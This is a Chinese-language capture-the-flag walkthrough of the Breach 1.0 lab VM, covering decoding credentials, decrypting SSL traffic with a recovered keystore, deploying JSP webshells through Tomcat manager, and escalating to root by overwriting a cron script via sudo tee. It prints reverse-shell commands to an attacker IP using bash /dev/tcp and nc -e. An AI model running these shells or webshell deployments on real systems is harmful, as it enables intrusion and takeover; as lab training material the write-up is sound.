靶機說明
Breach1.0是一個難度為初級到中級的BooT2Root/CTF挑戰。
VM虛機配置有靜態IP地址(192.168.110.140),需要將虛擬機網卡設置為host-only方式組網,並且配置網段。非常感謝Knightmare和rastamouse進行測試和提供反饋。作者期待大家寫出文章,特別是通過非預期的方式獲取root權限。
目標
Boot to root:獲得root權限,查看flag。
運行環境
- 靶機:網絡連接方式設置為主機模式(host-only),靜態IP是192.168.110.140。
- 攻擊機:同網段下有kali攻擊機(物理機),IP地址:192.168.110.128,安裝有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等滲透工具,也可以使用windows攻擊機。
信息收集
- 端口服務識別
啟動Breach1.0虛擬機,由於IP已知,使用nmap掃描端口,並做服務識別和深度掃描(加-A參數),掃描結果保存到txt文件,命令:
nmap -v -A -p 1-65535 192.168.110.140

發現端口幾乎全開放了,顯然是有問題,虛擬機對端口掃描做了一些防護措施,直接訪問80端口,進入web首頁:

漏洞挖掘
- 0x01:查看首頁源碼,解碼得到密碼
(1) 查看首頁源代碼,發現提示:

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo 這是一串base64編碼
(2) 將其復制到Burpsuit Decoder進行base64解碼,解密后發現還是base64編碼,繼續base64解碼,得到

pgibbons:damnitfeel$goodtobeagang$ta
這看起來像是用戶名和密碼
- 0x02:登錄cms,查看郵件,下載包含SSL證書的密鑰庫keystore文件
(1) 點擊首頁的圖片,進入 initech.html 頁面

(2)點擊initech.html左邊的 Cake 和 Stapler 發現只是簡簡單單的兩張圖片,
(3) 點擊initech.html左邊的 Employee portal 進入到 http://192.168.110.140/impresscms/user.php 這是一個impresscms登錄頁

使用之前兩次base64解碼得到的密碼登錄impresscms:
用戶名:pgibbons
密碼:damnitfeel$goodtobeagang$ta

(3) exploit-db.com查找impress cms漏洞:發現ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/39737/%E5%8F%AF%E6%B3%A8%E5%85%A5%E9%A1%B5%E9%9D%A2%E4%B8%BA/modules/profile/admin/field.php,但是該頁面目前沒有權限訪問,無法進行注入。
(4) 注意到左邊的收件箱Inbox顯示有3封郵件

我們依次打開查看:
第一封郵件:
主要內容:讓你的團隊只能向管理門戶發布任何敏感的內容。我的密碼非常安全,發自ImpressCMS Admin Bill
第二封郵件:

主要內容:Michael采購了IDS/IPS。
第三封郵件:

主要內容:有一個peter的SSL證書被保存在192.168.110.140/.keystore
關鍵恐怕就是這個第三封郵件
(5) 訪問 http://192.168.110.140/.keystore 下載包含SSL證書的密鑰庫keystore文件,keystore是存儲公私密鑰的一種文件格式。

- 0x03:導入流量抓包文件、SSL證書到Wireshark
(1) 依次訪問左邊的菜單樹,點擊每個菜單欄:

菜單欄 content 鏈接了一張圖片troll.gif:

點擊菜單欄 profile 會進入目錄瀏覽:
但都沒發現可利用漏洞,繼續瀏覽每個網頁。
(2) 點擊 View Account 菜單進入界面,再依次點擊頁面的 Content,會彈出一行鏈接 Content SSL implementation test capture ,點擊鏈接,如下圖:

(3) 進入http://192.168.110.140/impresscms/modules/content/content.php?content_id=1頁面,可以看到一個名為_SSL_test_phase1.pcap的Wireshark流量包文件,下載它。


同時,該頁面有重要的提示信息:這個pcap文件是有紅色團隊的重新攻擊產生的,但是不能讀取文件。而且
"They told me the alias, storepassword and keypassword are all set to 'tomcat' " 別名、Keystore密碼、key密碼都設置成 tomcat。
由此推測:a.這是一個流量包文件,不能讀取很可能因為某些流量有SSL加密(前面的郵件中提供了一個keystore,這里提供了密碼;b.系統中可能存在tomcat。
(4) Windows攻擊機安裝有JDK,到JDK目錄下找到keytool.exe工具:路徑:D:\java\bin\keytool.exe
將keystore放到F盤根目錄,查看keystore這個密鑰庫里面的所有證書,命令 keytool -list -keystore F:\keystore 輸入密鑰庫口令 tomcat:

(5) 從密鑰庫導出.p12證書,將keystore拷貝到keytool目錄,導出名為:tomcatkeystore.p12 的證書,命令:
keytool -importkeystore -srckeystore F:keystore -destkeystore F:tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

查看結構,發現已經成功導出

(6) 將.p12證書導入Wireshark
.p12證書存儲在C盤根目錄,將證書導入Wireshark:在Wireshark中打開流量包文件_SSL_test_phase1.pcap,選擇菜單:編輯----->首選項---->Protocols---->SSL,點擊右邊的Edit,輸入:192.168.110.140 8443 http 點擊選擇證書文件 輸入密碼tomcat

- 0x04:從流量包文件中得到tomcat后台URL和密碼
(1) 導入證書后,https流量已經被解密,查看每個http流量包:
發現從192.168.110.129到192.168.110.140的攻擊流量包,其中有cmd命令馬執行了id命令,攻擊者上傳了兩張圖片,疑似圖片馬,但是命令馬無法直接訪問,需要登錄tomcat后台:

(2) 獲得Tomcat后台登錄地址和用戶名密碼
繼續觀察流量包,發現一個Unauthorized的認證包,意思是管理員沒有授權訪問
這是關於Unauthorized的認證包的講解:https://blog.csdn.net/patronsaint/article/details/5639962
該request和response包含了Tomcat后台的登錄地址:
https://192.168.110.140:8443/_M@nag3Me/html

同時發現包含登錄用戶名密碼的數據包, 采用http basic認證,認證數據包為
Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC :

這是base64編碼的用戶名密碼,將 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 進行解碼,得到Tomcat登錄用戶名密碼

Tomcat后台登錄用戶名:tomcat,密碼:Tt5D8F(#!*u=G)4m7zB
獲取shell
- 0x05: 登錄Tomcat后台get shell
(1) 登錄tomcat后台:


(2) Tomcat后台get shell是有標准姿勢的,上養馬場,准備好jsp版本的各種馬,這里有cmd命令小馬,菜刀馬,jspspy大馬,將其打成caidao.zip壓縮包,再將zip壓縮包將擴展名改為caidao.war,將war包上傳部署即可:

(2) 在WAR file to deploy中將war包上傳:

上傳后在目錄中找到上傳的目錄/caidao,已上傳jsp木馬文件就在這個目錄下。

(3) 使用中國菜刀連接https://192.168.110.140:8443/caidao/caidao.jsp

(4) 使用菜刀命令行連接,執行id;pwd命令成功:

(5) 發現的問題:上傳的菜刀馬,一會兒就會消失,文件被刪除,需要重新上傳war包才能夠繼續使用菜刀,主機可能有殺軟或者殺web shell工具。解決方法:bash反彈一個shell出來。
提升權限
- 0x06: 查看系統用戶,發現mysql root密碼
(1) 查看當前系統用戶,找id為1000以后的用戶 cat /etc/passwd

發現兩個值得關注的用戶:milton 和 blumbergh
(2) 在菜刀里面找到網頁根目錄,默認是在tomcat目錄,找到網頁部署目錄/var/www/5446/

(3) 該目錄下發現兩個奇怪的php文件,命名非常長且無規律fe4db1f7bc038d60776dcb66ab3404d5.php和0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下載下來打開查看:

這是mysql數據庫連接文件,使用mysql的root賬號連接數據庫,密碼為空。
(4) 因為菜刀馬總是被刪除,所以反彈shell到nc:在菜刀cmd命令行反彈一個shell到Windows攻擊機的nc,命令:echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash

nc接收反彈sehll成功:

(5) 連接mysql數據庫,查看mysql用戶,這里輸入mysql命令后一直沒有回顯,直到輸入exit退出mysql登錄后,查詢回顯才出來,命令:
mysql -u root -p
use mysql;
select user,password from user;
exit

得到milton用戶的密碼哈希:6450d89bd3aff1d893b85d3ad65d2ec2
到https://www.somd5.com/解密,得到用戶milton的明文密碼:thelaststraw

- 0x07: 提權到用戶milton和blumbergh
(1) 無法執行su命令,顯示需要一個終端,之前都遇到這個問題,通過Python解決:
python -c 'import pty;pty.spawn("/bin/bash")'

(2) 提權到用戶milton
su - milton 密碼:thelaststraw

查看milton用戶home目錄下的some_script.sh文件,沒有可利用的信息。

(3) 查看系統內核版本,命令uanme -a和cat /etc/issue

系統內核版本為:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提權漏洞。存在本地提權漏洞內核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

(4) 查看歷史命令,無有價值的線索,看到歷史命令su提權到了blumbergh用戶。需要找到blumbergh用戶的密碼。

(5) 到現在發現了7張圖片,6張在圖片目錄:http://192.168.110.140/images/,1張在milton用戶目錄下:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg
milton用戶目錄下my_badge.jpg
將圖片復制到kali linux,使用strings打印各圖片其中的可打印字符,追加輸出到images.txt,在vim下查看,密碼在bill.png圖片中。

找到可能的密碼或提示:

發現唯一的單詞是:coffeestains
或者使用exiftool.exe工具查看bill.png圖片的exif信息,得到可能的密碼:coffeestains

(6)提權到blumbergh用戶
用戶名:blumbergh
密碼:coffeestains

(7)查看歷史命令,發現/usr/share/cleanup和tidyup.sh腳本文件:

讀取tidyup.sh腳本分析:

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
這是一段清理腳本,描述中說明每3分鍾執行清理,刪除webapps目錄下的文件,因此之前上傳的菜刀馬總是被刪除,需要重新上傳。
查看tidyup.sh的權限,對該腳本沒有寫入權限,只有root可以

查看sudo權限,執行sudo -l:

發現用戶能夠以root權限執行這tee程序或tidyup.sh腳本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
tee命令用於讀取標准輸入的數據,並將其內容輸出成文件。tidyup.sh是清理腳本。

- 0x07:反彈root權限shell,獲取flag
(1) 向tidyup.sh中寫入反彈shell命令
tidyup.sh文件只有root可寫,而能夠以root權限運行tee命令,那么用tee命令寫tidyup.sh:先將反彈shell命令寫入shell.txt文件,使用bash反彈shell命令沒有成功,於是使用nc命令反彈shell成功,所以寫nc反彈命令:
echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt
再使用tee命令將shell.txt內容輸出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件寫入成功:
cat /usr/share/cleanup/tidyup.sh

(2) nc監聽等待反彈shell,查看權限是root,flag是一張圖片,將圖片拷貝到home目錄:

(3) 查看一下crontab計划任務,發現果然有每3分鍾執行tidyup.sh清理腳本的任務:

(4) 使用之前上傳的jsp大馬JspSpy將flair.jpg下載到Windows:

(5) 查看flag:I NEED TO TALK ABOUT YOUR FLAIR 游戲通關。

總結
- 主要突破點:
(1) 從網頁源碼和圖片字符中解密出CMS和Tomcat的賬號、密碼。
(2) 導入ssl證書到Wireshark中解密經過SSL加密的流量,獲得Tomcat后台登錄URL和賬號密碼。
(3) Tomcat后台get shell姿勢要熟練。
(4) 提權:找到兩個賬號的密碼,發現可以root權限執行的tee命令和tidyup.sh清理腳本,通過計划任務反彈root shell。
- 難點和踩到的坑:
(1) 使用keytool導出SSL證書:這是非常規滲透知識,需要查閱原理和工具使用,耗費時間較多。
(2) Tomcat后台get shell后,已上傳的菜刀馬總是被殺,每次傳上去過不了幾分鍾沒了,當時以為該系統安裝了殺毒軟件或web shell清理工具,實際是因為主機tidyup.sh清理腳本,每3分鍾清理一次。反彈出一個shell就可以持續使用shell了。
(3) 連接mysql執行命令,沒有回顯。菜刀執行命令超時,nc中只有exit退出時才回顯,當時打算放棄了,才exit退出,結果退出才有回顯,發現了milton賬號的密碼哈希。山重水復疑無路,柳暗花明又一村。
(4) 花費較多時間進行兩次賬號切換,再反彈root shell提權。發現和利用tidyup.sh需要較多時間。
(5) 通過crontab的計划任務,反彈root shell的方式,在真實滲透測試中是常見的,比如redis的root空口令挖礦,可以ssh證書連接,也可以寫root crontab反彈,但是在Vulnhub中第一次遇到,對初學者有難度。
